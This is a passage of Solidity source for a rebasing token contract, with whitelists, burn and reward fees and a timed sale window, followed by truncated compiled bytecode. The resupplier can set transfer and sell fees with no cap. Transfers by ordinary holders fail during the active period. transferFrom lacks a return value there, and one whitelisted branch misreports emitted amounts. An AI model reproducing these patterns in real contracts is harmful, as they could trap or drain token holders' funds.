_isResupplierWhitelisted(address _addr) internal view returns (bool) { return whitelistResupplier[_addr]; } function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistTo(_addr, _whitelisted); whitelistTo[_addr] = _whitelisted; } function setTxFee(uint16 fee) external onlyResupplier { TX_FEE = fee; } function setSellFee(uint16 fee) external onlyResupplier { SELL_FEE = fee; } function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistFrom(_addr, _whitelisted); whitelistFrom[_addr] = _whitelisted; } function setWhitelistedResupplier(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistResupplier(_addr, _whitelisted); whitelistResupplier[_addr] = _whitelisted; } function setNoResupplierAddress(address _addr) external onlyOwner { noResupplierAddress = _addr; } // Configures the seller address function setSellerAddress(address _addr) external onlyOwner { sellerAddress = _addr; } modifier onlyResupplier() { require(msg.sender == resupplier); _; } /** * @notice Computes the current max scaling factor */ function maxScaleFact() external view returns (uint256) { return _maxScaleFact(); } function _maxScaleFact() internal view returns (uint256) { // scaling factor can only go up to 2**256-1 = initSupply * rSPScaleFact // this is used to check if rSPScaleFact will be too high to compute balances when rebasing. return uint256(-1) / initSupply; } function _mint(address to, uint256 amount) internal { // increase totalSupply _totalSupply = _totalSupply.add(amount); // get underlying value uint256 rSPValue = amount.mul(internalDecimals).div(rSPScaleFact); // increase initSupply initSupply = initSupply.add(rSPValue); // make sure the mint didnt push maxScaleFact too low require(rSPScaleFact <= _maxScaleFact(), "max scaling factor too low"); // add balance _rSPBalances[to] = _rSPBalances[to].add(rSPValue); emit Transfer(address(0),to,amount); } function isActive() public view returns (bool) { return ( isContractInitialized == true && now >= START && // Must be after the START date now <= START.add(DAYS * 1 days)&& // Must be before the end date endOfPSWP() == false ); } function endOfPSWP() public view returns (bool) { return (now >= START.add(DAYS * 1 days)); } function endEarly(uint256 _DAYS) external onlyOwner { DAYS = DAYS - _DAYS; } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) external returns (bool) { // underlying balance is stored in rSP, so divide by current scaling factor // note, this means as scaling factor grows, dust will be untransferrable. // minimum transfer value == rSPScaleFact / 1e24; // get amount in underlying //from noresupplierWallet if (isActive() == false || msg.sender == owner || msg.sender == sellerAddress){ if(_isResupplierWhitelisted(msg.sender)){ uint256 noReValue = value.mul(internalDecimals).div(BASE); uint256 noReNextValue = noReValue.mul(BASE).div(rSPScaleFact); _rSPBalances[msg.sender] = _rSPBalances[msg.sender].sub(noReValue); //value==underlying _rSPBalances[to] = _rSPBalances[to].add(noReNextValue); emit Transfer(msg.sender, to, value); } else if(_isResupplierWhitelisted(to)){ uint256 fee = getSellBurn(value); uint256 tokensToBurn = fee/2; uint256 tokensForRewards = fee-tokensToBurn; uint256 tokensToTransfer = value-fee; uint256 rSPValue = value.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueKeep = tokensToTransfer.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueReward = tokensForRewards.mul(internalDecimals).div(rSPScaleFact); uint256 rSPNextValue = rSPValueKeep.mul(rSPScaleFact).div(BASE); _totalSupply = _totalSupply-fee; _rSPBalances[address(0)] = _rSPBalances[address(0)].add(fee/2); _rSPBalances[msg.sender] = _rSPBalances[msg.sender].sub(rSPValue); _rSPBalances[to] = _rSPBalances[to].add(rSPNextValue); _rSPBalances[rewardAddress] = _rSPBalances[rewardAddress].add(rSPValueReward); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); emit Transfer(msg.sender, rewardAddress, tokensForRewards); } else{ if(!_isWhitelisted(msg.sender, to)){ uint256 fee = getTxBurn(value); uint256 tokensToBurn = fee/2; uint256 tokensForRewards = fee-tokensToBurn; uint256 tokensToTransfer = value-fee; uint256 rSPValue = value.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueKeep = tokensToTransfer.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueReward = tokensForRewards.mul(internalDecimals).div(rSPScaleFact); _totalSupply = _totalSupply-fee; _rSPBalances[address(0)] = _rSPBalances[address(0)].add(fee/2); _rSPBalances[msg.sender] = _rSPBalances[msg.sender].sub(rSPValue); _rSPBalances[to] = _rSPBalances[to].add(rSPValueKeep); _rSPBalances[rewardAddress] = _rSPBalances[rewardAddress].add(rSPValueReward); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); emit Transfer(msg.sender, rewardAddress, tokensForRewards); } else{ uint256 rSPValue = value.mul(internalDecimals).div(rSPScaleFact); _rSPBalances[msg.sender] = _rSPBalances[msg.sender].sub(rSPValue); _rSPBalances[to] = _rSPBalances[to].add(rSPValue); emit Transfer(msg.sender, to, rSPValue); } } return true; } else {return false;} } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) external returns (bool) { // decrease allowance _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); if (isActive() == false || msg.sender == owner || msg.sender == sellerAddress){ if(_isResupplierWhitelisted(from)){ uint256 noReValue = value.mul(internalDecimals).div(BASE); uint256 noReNextValue = noReValue.mul(BASE).div(rSPScaleFact); _rSPBalances[from] = _rSPBalances[from].sub(noReValue); //value==underlying _rSPBalances[to] = _rSPBalances[to].add(noReNextValue); emit Transfer(from, to, value); } else if(_isResupplierWhitelisted(to)){ uint256 fee = getSellBurn(value); uint256 tokensForRewards = fee-(fee/2); uint256 tokensToTransfer = value-fee; uint256 rSPValue = value.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueKeep = tokensToTransfer.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueReward = tokensForRewards.mul(internalDecimals).div(rSPScaleFact); uint256 rSPNextValue = rSPValueKeep.mul(rSPScaleFact).div(BASE); _totalSupply = _totalSupply-fee; _rSPBalances[from] = _rSPBalances[from].sub(rSPValue); _rSPBalances[to] = _rSPBalances[to].add(rSPNextValue); _rSPBalances[rewardAddress] = _rSPBalances[rewardAddress].add(rSPValueReward); _rSPBalances[address(0)] = _rSPBalances[address(0)].add(fee/2); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), fee/2); emit Transfer(from, rewardAddress, tokensForRewards); } else{ if(!_isWhitelisted(from, to)){ uint256 fee = getTxBurn(value); uint256 tokensToBurn = fee/2; uint256 tokensForRewards = fee-tokensToBurn; uint256 tokensToTransfer = value-fee; uint256 rSPValue = value.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueKeep = tokensToTransfer.mul(internalDecimals).div(rSPScaleFact); uint256 rSPValueReward = tokensForRewards.mul(internalDecimals).div(rSPScaleFact); _totalSupply = _totalSupply-fee; _rSPBalances[address(0)] = _rSPBalances[address(0)].add(fee/2); _rSPBalances[from] = _rSPBalances[from].sub(rSPValue); _rSPBalances[to] = _rSPBalances[to].add(rSPValueKeep); _rSPBalances[rewardAddress] = _rSPBalances[rewardAddress].add(rSPValueReward); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); emit Transfer(from, rewardAddress, tokensForRewards); } else{ uint256 rSPValue = value.mul(internalDecimals).div(rSPScaleFact); _rSPBalances[from] = _rSPBalances[from].sub(rSPValue); _rSPBalances[to] = _rSPBalances[to].add(rSPValue); emit Transfer(from, to, rSPValue); } } return true; } } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) external view returns (uint256) { if(_isResupplierWhitelisted(who)){ return _rSPBalances[who].mul(BASE).div(internalDecimals); } else{ return _rSPBalances[who].mul(rSPScaleFact).div(internalDecimals); } } /** @notice Currently returns the internal storage amount * @param who The address to query. * @return The underlying balance of the specified address. */ function balanceOfUnderlying(address who) external view returns (uint256) { return _rSPBalances[who]; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) external view returns (uint256) { return _allowedFragments[owner_][spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } /* - Governance Functions - */ /** @notice sets the resupplier * @param resupplier_ The address of the resupplier contract to use for authentication. */ function _setResupplier(address resupplier_) external onlyOwner { address oldResupplier = resupplier; resupplier = resupplier_; emit NewResupplier(oldResupplier, resupplier_); } function _setRewardAddress(address rewards_) external onlyOwner { rewardAddress = rewards_; } /** * @notice Initiates a new resupplier operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / resupplierLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi */ function resupply( uint256 epoch, uint256 indexDelta, bool positive ) external onlyResupplier returns (uint256) { if (indexDelta == 0 || !positive) { emit Resupplier(epoch, rSPScaleFact); return _totalSupply; } uint256 newScaleFact = rSPScaleFact.mul(BASE.add(indexDelta)).div(BASE); if (newScaleFact < _maxScaleFact()) { rSPScaleFact = newScaleFact; } else { rSPScaleFact = _maxScaleFact(); } _totalSupply = ((initSupply.sub(_rSPBalances[address(0)]).sub(_rSPBalances[noResupplierAddress])) .mul(rSPScaleFact).div(internalDecimals)) .add(_rSPBalances[noResupplierAddress].mul(BASE).div(internalDecimals)); emit Resupplier(epoch, rSPScaleFact); return _totalSupply; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function divRound(uint256 x, uint256 y) internal pure returns (uint256) { require(y != 0, "Div by zero"); uint256 r = x / y; if (x % y != 0) { r = r + 1; } return r; } }
0x608060405234801561001057600080fd5b50600436106102745760003560e01c80636be7c70f11610151578063a486309d116100c3578063dd62ed3e11610087578063dd62ed3e14610d01578063de52014b14610d79578063e064648a14610d9f578063ec342ad014610dd1578063fcdc7b1d14610def578063ff12bbf414610e3357610274565b8063a486309d14610bc5578063a9059cbb14610c15578063ae0207e314610c7b578063ba9a061a14610cc5578063c549e6b914610ce357610274565b80638da5cb5b116101155780638da5cb5b146109ae57806390152977146109f857806395d89b4114610a3c5780639dae719f14610abf578063a12df12e14610b1b578063a457c2d714610b5f57610274565b80636be7c70f1461083c57806370a08231146108865780637dbaed88146108de5780638341008f146109205780638cf57cb91461096457610274565b80632fbf1379116101ea5780633d9b2ae6116101ae5780633d9b2ae6146106e457806343684b211461072e5780634773a6a91461078a5780635b56e652146107b057806364dd48f514610800578063688b29c21461081e57610274565b80632fbf1379146105a2578063313ce567146105d057806339509351146105f45780633986829d1461065a5780633af9e6691461068c57610274565b806316b627d11161023c57806316b627d11461044057806318160ddd1461049c57806319825784146104ba578063211955ff146104dc57806322f3e2d4146104fa57806323b872dd1461051c57610274565b806304cf86821461027957806306fdde03146102bb578063095ea7b31461033e5780631167a7ce146103a457806313af4035146103fc575b600080fd5b6102a56004803603602081101561028f57600080fd5b8101908080359060200190929190505050610e83565b6040518082815260200191505060405180910390f35b6102c3610eb8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103035780820151818401526020810190506102e8565b50505050905090810190601f1680156103305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603604081101561035457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f56565b604051808215151515815260200191505060405180910390f35b6103e6600480360360608110156103ba57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190505050611048565b6040518082815260200191505060405180910390f35b61043e6004803603602081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135f565b005b6104826004803603602081101561045657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061151c565b604051808215151515815260200191505060405180910390f35b6104a461153c565b6040518082815260200191505060405180910390f35b6104c2611546565b604051808215151515815260200191505060405180910390f35b6104e461156e565b6040518082815260200191505060405180910390f35b610502611574565b604051808215151515815260200191505060405180910390f35b6105886004803603606081101561053257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115e2565b604051808215151515815260200191505060405180910390f35b6105ce600480360360208110156105b857600080fd5b810190808035906020019092919050505061259d565b005b6105d861266d565b604051808260ff1660ff16815260200191505060405180910390f35b6106406004803603604081101561060a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612680565b604051808215151515815260200191505060405180910390f35b61068a6004803603602081101561067057600080fd5b81019080803561ffff16906020019092919050505061287c565b005b6106ce600480360360208110156106a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b6040518082815260200191505060405180910390f35b6106ec61293f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107706004803603602081101561074457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612965565b604051808215151515815260200191505060405180910390f35b610792612985565b604051808261ffff1661ffff16815260200191505060405180910390f35b6107fe600480360360408110156107c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612999565b005b610808612b25565b6040518082815260200191505060405180910390f35b610826612b33565b6040518082815260200191505060405180910390f35b610844612b42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108c86004803603602081101561089c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b68565b6040518082815260200191505060405180910390f35b61090a600480360360208110156108f457600080fd5b8101908080359060200190929190505050612c6d565b6040518082815260200191505060405180910390f35b6109626004803603602081101561093657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ca2565b005b61096c612e67565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109b6612e8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a3a60048036036020811015610a0e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612eb2565b005b610a44612fb8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a84578082015181840152602081019050610a69565b50505050905090810190601f168015610ab15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610b0160048036036020811015610ad557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613056565b604051808215151515815260200191505060405180910390f35b610b5d60048036036020811015610b3157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613076565b005b610bab60048036036040811015610b7557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061317c565b604051808215151515815260200191505060405180910390f35b610c1360048036036040811015610bdb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061340c565b005b610c6160048036036040811015610c2b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613598565b604051808215151515815260200191505060405180910390f35b610c83614442565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610ccd614468565b6040518082815260200191505060405180910390f35b610ceb614470565b6040518082815260200191505060405180910390f35b610d6360048036036040811015610d1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614476565b6040518082815260200191505060405180910390f35b610d816144fd565b604051808261ffff1661ffff16815260200191505060405180910390f35b610dcf60048036036020811015610db557600080fd5b81019080803561ffff169060200190929190505050614511565b005b610dd961458b565b6040518082815260200191505060405180910390f35b610e3160048036036020811015610e0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614597565b005b610e8160048036036040811015610e4957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061469d565b005b600080610ead601060009054906101000a900461ffff1661ffff168461482990919063ffffffff16565b905080915050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f4e5780601f10610f2357610100808354040283529160200191610f4e565b820191906000526020600020905b815481529060010190602001808311610f3157829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a457600080fd5b60008314806110b1575081155b156110fa57837ff18f70b6ee586d9b190ed26463a9debb8aaaf65dc5ef83233b14bdb596dac9a96006546040518082815260200191505060405180910390a2600f549050611358565b6000611145670de0b6b3a764000061113761112687670de0b6b3a76400006148d190919063ffffffff16565b6006546148f090919063ffffffff16565b61492a90919063ffffffff16565b905061114f614950565b8110156111625780600681905550611171565b61116a614950565b6006819055505b61131161120c69d3c21bcecceda10000006111fe670de0b6b3a764000060076000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148f090919063ffffffff16565b61492a90919063ffffffff16565b61130369d3c21bcecceda10000006112f56006546112e760076000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d9600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600e5461498390919063ffffffff16565b61498390919063ffffffff16565b6148f090919063ffffffff16565b61492a90919063ffffffff16565b6148d190919063ffffffff16565b600f81905550847ff18f70b6ee586d9b190ed26463a9debb8aaaf65dc5ef83233b14bdb596dac9a96006546040518082815260200191505060405180910390a2600f549150505b9392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611421576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000600f54905090565b60006115666201518060055402635fa596286148d190919063ffffffff16565b421015905090565b60065481565b600060011515600460149054906101000a900460ff16151514801561159d5750635fa596284210155b80156115c657506115c26201518060055402635fa596286148d190919063ffffffff16565b4211155b80156115dd5750600015156115d9611546565b1515145b905090565b600061167382600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600015156116ff611574565b1515148061175957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806117b15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15612595576117bf846149a3565b156119c85760006117fd670de0b6b3a76400006117ef69d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000611830600654611822670de0b6b3a7640000856148f090919063ffffffff16565b61492a90919063ffffffff16565b905061188482600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191981600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505061258c565b6119d1836149a3565b15611ee25760006119e183610e83565b90506000600282816119ef57fe5b0482039050600082850390506000611a2e600654611a2069d3c21bcecceda1000000896148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000611a63600654611a5569d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000611a98600654611a8a69d3c21bcecceda1000000886148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000611acb670de0b6b3a7640000611abd600654866148f090919063ffffffff16565b61492a90919063ffffffff16565b905086600f5403600f81905550611b2a84600760008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bbf81600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c768260076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b60076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3760028881611ce857fe5b04600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028a81611e3957fe5b046040518082815260200191505060405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35050505050505061258b565b611eec84846149f9565b6123c4576000611efb83612c6d565b9050600060028281611f0957fe5b04905060008183039050600083860390506000611f4d600654611f3f69d3c21bcecceda10000008a6148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000611f82600654611f7469d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000611fb7600654611fa969d3c21bcecceda1000000886148f090919063ffffffff16565b61492a90919063ffffffff16565b905086600f5403600f8190555061202060028881611fd157fe5b04600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b583600760008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214a82600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122018160076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b60076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505061258a565b60006123f76006546123e969d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b905061244b81600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124e081600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505b5b5b60019050612596565b5b9392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461265f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806005540360058190555050565b600360009054906101000a900460ff1681565b600061271182600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff